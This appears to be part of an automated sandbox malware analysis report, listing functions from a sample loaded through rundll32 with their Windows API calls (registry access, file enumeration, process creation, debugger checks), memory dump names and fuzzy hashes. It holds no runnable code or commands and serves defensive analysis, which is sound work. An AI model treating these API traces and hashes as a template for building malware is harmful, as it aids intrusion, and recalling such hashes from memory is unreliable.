Opcode Fuzzy Hash: 167d0fc3daa661ee96d7e9c02129fb615490535d22cb3942faeb47585a31e56e
Instruction Fuzzy Hash: FDF0AEB5E00204BFEB09DB958C05DBF76FEDFC4640B04C45DB801DA144E9705D008174

Uniqueness

Uniqueness Score: -1.00%

Function 03452B80 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(00000000,Software\Microsoft\Windows\CurrentVersion,00000000,00000000,00000000,00000000,03452BD3,032AC168,?,Exec,80000002,80000002,00000002,03452E5C,Exec,Exec), ref: 03452BA1

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 03452B9F

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Open
String ID: Software\Microsoft\Windows\CurrentVersion
API String ID: 71445658-1019749484
Opcode ID: 7169773c98aed245dcfcb17fea14f39cb69f4b582e9c1666b8d61e13f0ef955b
Instruction ID: fb58fc3446bd56da1ff947090332d470c8d5bbbeee3e6609fd437c13922b3d73
Opcode Fuzzy Hash: 7169773c98aed245dcfcb17fea14f39cb69f4b582e9c1666b8d61e13f0ef955b
Instruction Fuzzy Hash: C3D0A937808320BED722AE51DC08F8B7B9ABF88260F08CC07F999AD155D3B08410C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 03454C2C Relevance: 3.0, APIs: 2, Instructions: 33filestringCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(00000000,?), ref: 03454C44
lstrcpynW.KERNEL32(?,?,00000400), ref: 03454C60

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: FileFindNextlstrcpyn
String ID:
API String ID: 1743206594-0
Opcode ID: 1671909ae866dc0c8eab23b55ffde30ff2eb25d89236c36ce2be043cfacfe8af
Instruction ID: a867528e51226ba38c4a76fe41efe8816c88f0adb41dfe9147e0b891d7f490ec
Opcode Fuzzy Hash: 1671909ae866dc0c8eab23b55ffde30ff2eb25d89236c36ce2be043cfacfe8af
Instruction Fuzzy Hash: FBF054666142409BD764DF65D8847BFB3D9FB84241F44482EFA1ACE241DB3498058719

Uniqueness

Uniqueness Score: -1.00%

Function 0347032B Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,03476EC7,?,00000000,?,?,03477168,?,00000007,?,?,03477661,?,?), ref: 03470341
GetLastError.KERNEL32(?,?,03476EC7,?,00000000,?,?,03477168,?,00000007,?,?,03477661,?,?), ref: 0347034C

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 213d7352eabf1f8c6a63f3d636377e877739880b13b391e85035361ef0c30fdf
Instruction ID: dc41468eec74baf5819a26723f2e11bb90bf39bc69dac715fc61c30ee928852d
Opcode Fuzzy Hash: 213d7352eabf1f8c6a63f3d636377e877739880b13b391e85035361ef0c30fdf
Instruction Fuzzy Hash: B3E08C36100618ABCB117FA1F888B8A3B98BB00651F04002AF608AE160CA788941C798

Uniqueness

Uniqueness Score: -1.00%

Function 03452235 Relevance: 3.0, APIs: 2, Instructions: 12COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(003A0043,00000000,771B3420,034510DC,05BCF820,03451393), ref: 0345223A
GetLastError.KERNEL32 ref: 03452244

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 257ec77114e42a0c84815fa1ffbe9368f1fed35973830decf6dc749cc1c8aadc
Instruction ID: aaf286b4afca52c8c8bce78f5bc2d351a9c92bb9ff3554509502cdd02f343927
Opcode Fuzzy Hash: 257ec77114e42a0c84815fa1ffbe9368f1fed35973830decf6dc749cc1c8aadc
Instruction Fuzzy Hash: 1FC04C3A6151345B86706A79790C6876FD8EE055A57050555F909EA215D6108C0586E0

Uniqueness

Uniqueness Score: -1.00%

Function 0326802E Relevance: 1.8, APIs: 1, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000003.1528747420.0000000003268000.00000040.00000020.00020000.00000000.sdmp, Offset: 03268000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_3268000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 345a293451fd9b462be61f5ac0a754c0dde61ed60f077b0873bc294bf233b09a
Instruction ID: b9f410189b8d2c4dcfc0004e8e4ab9514b3f27f4cac26dd87fe43fc3a431b4e7
Opcode Fuzzy Hash: 345a293451fd9b462be61f5ac0a754c0dde61ed60f077b0873bc294bf233b09a
Instruction Fuzzy Hash: 74F1CE74915669CFCB69CF18C998BA8BBB5BF89305F1441DAD449AB352C731AEC0CF04

Uniqueness

Uniqueness Score: -1.00%

Function 03459D00 Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 03459E6B

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: d6b6a2dd1d334b3b78504794581b6ce625cb2cb50922f4ad3016df0eb0e5f384
Instruction ID: badb82db61aedce9ebaf162eef8cf4d8cc7307e1ade49cf91f3c70864381a75e
Opcode Fuzzy Hash: d6b6a2dd1d334b3b78504794581b6ce625cb2cb50922f4ad3016df0eb0e5f384
Instruction Fuzzy Hash: 91419472E00214DFCB14DF68C984A6EB7E9EB85210F18826EEC15DF385DB309A05CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 0326848A Relevance: 1.6, APIs: 1, Instructions: 70libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 032684C7

Memory Dump Source

Source File: 0000000F.00000003.1528747420.0000000003268000.00000040.00000020.00020000.00000000.sdmp, Offset: 03268000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_3268000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 22298e58a8000a39cee68b6a8fc425fd8e3f3380594fe307dd9c147b61f1b79f
Instruction ID: e9fc60744d9b21c1dd48db4e66526bb3ef2350e6615211f7165609ee8876bd7d
Opcode Fuzzy Hash: 22298e58a8000a39cee68b6a8fc425fd8e3f3380594fe307dd9c147b61f1b79f
Instruction Fuzzy Hash: 4231A574A24269CFCB6ACF18C8A4BA9B7B9AF49204F0540D9E54AA7341C770AFC0CF15

Uniqueness

Uniqueness Score: -1.00%

Function 03452137 Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(FFFFFFFF,00000040,00000000,00000000,00000000,034528A7,00000000,00000000,FFFFFFFF,00000000,FFFFFFFF,00000000,03451EE6,00000004,00000040,00000000), ref: 03452194

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 9ddaa98305cc0a48c020413f1209fe17acf578aef0920ea032312e7728bec409
Instruction ID: 817f2dc5b69c1eeb695272312ffb97ccf1b77239929cb0ba6f7722924c716238
Opcode Fuzzy Hash: 9ddaa98305cc0a48c020413f1209fe17acf578aef0920ea032312e7728bec409
Instruction Fuzzy Hash: 4BF09072B15211AFCB15EF28DC50E6B77E8EF98620B06881FF956EB204E6B0D8008B54

Uniqueness

Uniqueness Score: -1.00%

Function 03470365 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,03462FDB,?,?,03465099,?,?,?,?,?,03462EC9,03462FDB,?,?,?,?), ref: 03470397

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: de1cb3f45b184ebca7078c6996571fd78151c82598547d7b872cfccdf71c389f
Instruction ID: cc2f0fd84f081a9f7f484f69a5ef97631f6da1c5a0bf5bac22bc9ee09d7b0c0d
Opcode Fuzzy Hash: de1cb3f45b184ebca7078c6996571fd78151c82598547d7b872cfccdf71c389f
Instruction Fuzzy Hash: 4DE06575207620AFD731AA66EC40BDB768CBF417A0F090257FC95DE2C0CF58C84181AD

Uniqueness

Uniqueness Score: -1.00%

Function 03452269 Relevance: 1.5, APIs: 1, Instructions: 26processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,03490F90,00000000,00000000,00000000,04000000,00000000,00000000,03491798,?), ref: 03452290

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c107ef37a3fa48039fc1fc9c7a6283eb3236f372e80a87fb70f2ecf1b2cd386c
Instruction ID: 12d417b50f1b929f6133ee6def7342eb0d21295e28b29c37be46abd57d707563
Opcode Fuzzy Hash: c107ef37a3fa48039fc1fc9c7a6283eb3236f372e80a87fb70f2ecf1b2cd386c
Instruction Fuzzy Hash: 2DE0E6B0A0021A7FFB00EB65EC46F7B77ECE700648F50085A7D15EB145E6B0ED044664

Uniqueness

Uniqueness Score: -1.00%

Function 034528BC Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,0349B3A0,00000000,00000000,00000000,?,00000000,?,0349B3A0,0345208F,?,?,00000004,00000040,00000000,00000000), ref: 034528CF

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 07f7e48b5cd555109e1353d23df4e1bb1e34c8716384a43dfc874947e1b7c216
Instruction ID: f68e22cbf1f44741a0e94059a38c33c4065a582653362a857ff79ddfbd0f03fe
Opcode Fuzzy Hash: 07f7e48b5cd555109e1353d23df4e1bb1e34c8716384a43dfc874947e1b7c216
Instruction Fuzzy Hash: C8E0C272600028BB8A20979ADC08CAFFFACDEE1AA03050127F805E7100D1B0EE44D3F4

Uniqueness

Uniqueness Score: -1.00%

Function 034520F6 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(FFFFFFFF,?,00000000,?,034520F5,?,00000000,03451DFD,?,00000000), ref: 03452106

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 7a7bd6561d6a5917ceef7967714cbc4a93dc6ab9b19f46f97a3e1a2e5a5ec4a6
Instruction ID: 4f0d9340b959d7985a251bd5d846bc2d02aad475878caa46aa200e95bbdfdf7b
Opcode Fuzzy Hash: 7a7bd6561d6a5917ceef7967714cbc4a93dc6ab9b19f46f97a3e1a2e5a5ec4a6
Instruction Fuzzy Hash: 18E04F32901101ABC229DA2DCD08B6BBAA1BB95300F088A07BA51AD7ADD2B1D140CA08

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 03455887 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 294COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 034558DB
SetWindowTextW.USER32(?,?), ref: 0345590C

Part of subcall function 034522A9: GetDlgItemTextW.USER32(000003FB,?,00000400,03455329), ref: 034522BA

Part of subcall function 03452FDE: CharNextW.USER32(03451393,00000020,771B3420,?,00000000,034510B0,05BCF820,03451393), ref: 03453051
Part of subcall function 03452FDE: CharNextW.USER32(03451393,00000000,?,00000000,034510B0,05BCF820,03451393), ref: 03453062
Part of subcall function 03452FDE: CharNextW.USER32(03451393,00000020,771B3420,?,00000000,034510B0,05BCF820,03451393), ref: 03453067
Part of subcall function 03452FDE: CharPrevW.USER32(03451393,03451393,00000020,771B3420,?,00000000,034510B0,05BCF820,03451393), ref: 0345307F

Strings

A, xrefs: 034559D7
Exec, xrefs: 03455A20, 03455A2F

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Char$Next$ItemText$PrevWindow
String ID: A$Exec
API String ID: 4089110348-2074005321
Opcode ID: 0d3c13967427fa6a6beedae4cd5e92ae8faf196fa9543a6c0f09b313a4be1281
Instruction ID: 0a4a65d0c0a0803c65cdb4fd1a183957c1232316818cfc7f693cf2139052f9a2
Opcode Fuzzy Hash: 0d3c13967427fa6a6beedae4cd5e92ae8faf196fa9543a6c0f09b313a4be1281
Instruction Fuzzy Hash: B3A1DD75A043019FDB15EF65C884A7F76A8EF85300F04096FFE92AF282DB74D9058B5A

Uniqueness

Uniqueness Score: -1.00%

Function 03463A83 Relevance: 15.2, APIs: 10, Instructions: 200fileCOMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(000000FF,00000000,?,00000002,?,00000000), ref: 03463B1B
GetLastError.KERNEL32 ref: 03463B25
FindFirstFileW.KERNEL32(000000FF,?), ref: 03463B3C
GetLastError.KERNEL32 ref: 03463B47
FindClose.KERNEL32(00000000), ref: 03463B53
___std_fs_open_handle@16.LIBCPMT ref: 03463C0C

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: ErrorFileFindLast$AttributesCloseFirst___std_fs_open_handle@16
String ID:
API String ID: 2340820627-0
Opcode ID: 1ef02c8d567e78048657fe518b18778cf33aeee61cd4f8e738d366754af67508
Instruction ID: 77133adf40b22a6bfe503a2d2d2964139d4cefd5c486e6cb970a42f00be50986
Opcode Fuzzy Hash: 1ef02c8d567e78048657fe518b18778cf33aeee61cd4f8e738d366754af67508
Instruction Fuzzy Hash: 41715379B017599FCB24CF28DC847AAB7B8EF05310F18425AF855EB3A0DB309945CB56

Uniqueness

Uniqueness Score: -1.00%

Function 03478672 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,03478990,00000002,00000000,?,?,?,03478990,?,00000000), ref: 0347870B
GetLocaleInfoW.KERNEL32(?,20001004,03478990,00000002,00000000,?,?,?,03478990,?,00000000), ref: 03478734
GetACP.KERNEL32(?,?,03478990,?,00000000), ref: 03478749

Strings

ACP, xrefs: 03478690
OCP, xrefs: 034786C6

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 78b25e94ee8f034f7057d9fe6b336ff706285fa2dc78e1db28f244e8370c5099
Instruction ID: cd19c614ff27765972a4c0d637165175328e9d6e8347c9e8b59b3671dd3c16f0
Opcode Fuzzy Hash: 78b25e94ee8f034f7057d9fe6b336ff706285fa2dc78e1db28f244e8370c5099
Instruction Fuzzy Hash: C521D332A00105A6DB30DF54CD0EAD7B7AAEF84A54B1A4066E90BDF324F732D941C398

Uniqueness

Uniqueness Score: -1.00%

Function 03478847 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03470040: GetLastError.KERNEL32(?,00000008,03474FA9), ref: 03470044
Part of subcall function 03470040: SetLastError.KERNEL32(00000000,03462FDB,0000000A,000000FF), ref: 034700E6

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 03478953
IsValidCodePage.KERNEL32(00000000), ref: 0347899C
IsValidLocale.KERNEL32(?,00000001), ref: 034789AB
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 034789F3
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 03478A12

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 3ce736539e00573de5e5cfda3ee8045f1469bc85a2005e42b359648a66d1e3f3
Instruction ID: dfcb22467bad2e4c8f74132be9ddd37dbc341a1d0a57ca82b0b811c2124ea0b4
Opcode Fuzzy Hash: 3ce736539e00573de5e5cfda3ee8045f1469bc85a2005e42b359648a66d1e3f3
Instruction Fuzzy Hash: CB516F75A00205AFEF10EFA5DC4AAEFB7B8BF44700F08456AE915EF250E77099048B65

Uniqueness

Uniqueness Score: -1.00%

Function 03477EE3 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03470040: GetLastError.KERNEL32(?,00000008,03474FA9), ref: 03470044
Part of subcall function 03470040: SetLastError.KERNEL32(00000000,03462FDB,0000000A,000000FF), ref: 034700E6

GetACP.KERNEL32(?,?,?,?,?,?,0346EB84,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 03477FA4
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0346EB84,?,?,?,00000055,?,-00000050,?,?), ref: 03477FCF
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 03478132

Strings

utf8, xrefs: 034780A1

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 393358edba7958cada6446798f976de6ab6ad8b0ca7fa354ba9b928db791381b
Instruction ID: 4f99091ccf6b06ae78237de2379dbd40ff4afcb412ed840d3236767c18507219
Opcode Fuzzy Hash: 393358edba7958cada6446798f976de6ab6ad8b0ca7fa354ba9b928db791381b
Instruction Fuzzy Hash: B371D475600302AEDB24EF76CC4ABFBB7A8EF05710F19446BE515DF280EA74D94186A8

Uniqueness

Uniqueness Score: -1.00%

Function 03470574 Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 03470601

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 78ed4d37c3d53e18c75ce14a6f865b4e3009643ed09ebbf578d290b4cadd435b
Instruction ID: b944784779b3f60686f9a7067d529059f74de5eb3ff4758ae5ddbce63cb7c358
Opcode Fuzzy Hash: 78ed4d37c3d53e18c75ce14a6f865b4e3009643ed09ebbf578d290b4cadd435b
Instruction Fuzzy Hash: 4DB15A72D062459FDB21CF68C8907FFBBA5EF45350F1981ABD815AF341D2359902CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 03464BC0 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 03464BCC
IsDebuggerPresent.KERNEL32 ref: 03464C98
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 03464CB8
UnhandledExceptionFilter.KERNEL32(?), ref: 03464CC2

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: bdffe9db12558aae7ae83f90538004a182494c252bb3856a7c3bd5367eeb9860
Instruction ID: 8394ff88e1951c7eb900e9c3a814bd21d46250a88bbe2e64d7eaac378c1c1d30
Opcode Fuzzy Hash: bdffe9db12558aae7ae83f90538004a182494c252bb3856a7c3bd5367eeb9860
Instruction Fuzzy Hash: 0531E875D453189BDF10EF65D989BCDBBF8AF08304F1041EAE409AB250EB715A85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 034630F7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,?,00000002,?,?,?,0345F41D,?,?), ref: 0346310C
FormatMessageA.KERNEL32(00001300,00000000,?,?,?,00000000,00000000,?,?,0345F41D,?,?), ref: 0346312E

Strings

!x-sys-default-locale, xrefs: 03463107

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 5587ac5f25866e7779a80f11ccd25cecda7a584bc1e0924e6fabb118e2f8ba7d
Instruction ID: d976a11d072c391d3731a0248a5878ec4cd09405fc99042f3abe7b5e82ef7f57
Opcode Fuzzy Hash: 5587ac5f25866e7779a80f11ccd25cecda7a584bc1e0924e6fabb118e2f8ba7d
Instruction Fuzzy Hash: 23E03076250104BEEB04EF90CD0BDBB7BADEB09750F104119B941DA144E1B06E048660

Uniqueness

Uniqueness Score: -1.00%

Function 0345664C Relevance: 54.3, APIs: 36, Instructions: 312windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 034566C5
GetDlgItem.USER32(?,000003EE), ref: 034566D2
GetClientRect.USER32(00000000,?), ref: 0345670D
GetSystemMetrics.USER32(00000002), ref: 03456715
SendMessageW.USER32(00000000,00001061,00000000,00000002), ref: 03456737
SendMessageW.USER32(00000000,00001036,00004000,00004000), ref: 03456746
SendMessageW.USER32(00000000,00001001,00000000,?), ref: 03456758
